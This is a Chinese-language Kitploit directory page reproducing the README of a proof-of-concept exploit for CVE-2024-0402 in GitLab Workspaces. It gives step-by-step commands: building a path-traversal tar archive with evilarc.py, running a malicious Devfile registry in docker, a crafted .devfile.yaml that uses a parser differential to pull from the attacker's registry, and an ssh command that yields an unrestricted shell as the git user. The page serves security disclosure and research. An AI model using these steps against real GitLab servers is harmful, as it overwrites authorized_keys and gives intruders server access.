Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
malicious-devfile-registry — 针对 GitLab Workspaces 的 CVE-2024-0402 漏洞利用,使用恶意 Devfile Registry 和路径遍历归档覆盖 authorized_keys 并获得 SSH 访问权限。 | Kitploit
工具/GitHubGitHub/doyensec/malicious-devfile-registry
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试供应链安全红队
GitHubdoyensec/malicious-devfile-registry

malicious-devfile-registry

针对 GitLab Workspaces 的 CVE-2024-0402 漏洞利用,使用恶意 Devfile Registry 和路径遍历归档覆盖 authorized_keys 并获得 SSH 访问权限。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库网站
15521年前尚未审核
分享

恶意 Devfile Registry

该项目包含一个恶意 Devfile Registry,可用于利用 Gitlab 中的 CVE-2024-0402。

漏洞利用

索引了一个 nodejs:2.2.1 栈,以暴露 archive.tar 文件,该文件利用了 registry-support 库 v1.1.0 之前版本 中的路径遍历问题。

tar 文件位置:malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar

它是使用 evilarc.py 创建的,用于覆盖目标 Gitlab 服务器中的 /var/opt/gitlab/.ssh/authorized_keys,覆盖内容为本仓库中 ssh-keys/ 文件夹下的 SSH 密钥。

root@kitploit:~
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix

一旦运行,registry 会将恶意的 .tar 添加到可获取的栈中。 请参阅 index.json,其中已将其列入栈资源:

root@kitploit:~
...
"links": {
          "self": "devfile-catalog/nodejs:2.2.1"
        },
        ...
        "resources": [
          "devfile.yaml",
          "archive.tar"
        ],
...

复现步骤

配置一个版本 <=16.8.0 的 Gitlab Instance EE。按照文档以及我们在专门的 !exploitable 系列博客文章 中的额外说明,启用 Workspaces。

准备就绪后,按以下步骤操作:

  1. 在本仓库的根目录下运行 docker build -t devfile-index .,构建 registry 容器镜像

  2. 运行 docker run -d -p 5000:5000 --name local-registrypoc registry:2,启动一个本地容器 registry,供 Devfile registry 用于存储栈。注意: 您应根据需要修改命令以便暴露 registry。对我们而言,所有操作都在本地环境中进行

  3. 运行 docker run --network host devfile-index,启动第一步构建的恶意 Devfile registry。注意: 与之前一样,您可以根据需要修改运行命令,使其能够被 Gitlab 实例访问

  4. 以开发者身份登录目标 Gitlab 服务器,然后编辑您控制的某个仓库中的 .devfile.yaml。YAML 必须利用解析器差异,允许从恶意 registry 拉取

root@kitploit:~
schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
  1. 要在 Gitlab UI 中触发文件写入,只需在编辑后的仓库中启动一个新的 Workspace。 几秒钟后,任意文件写入应发生,并且 ssh-keys/pockey.pub 将被添加到 git 用户的 authorized_keys 中

  2. 您应该能够通过以下命令获得一个不受限制的 git 用户 shell:

root@kitploit:~
ssh  -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>
下载工具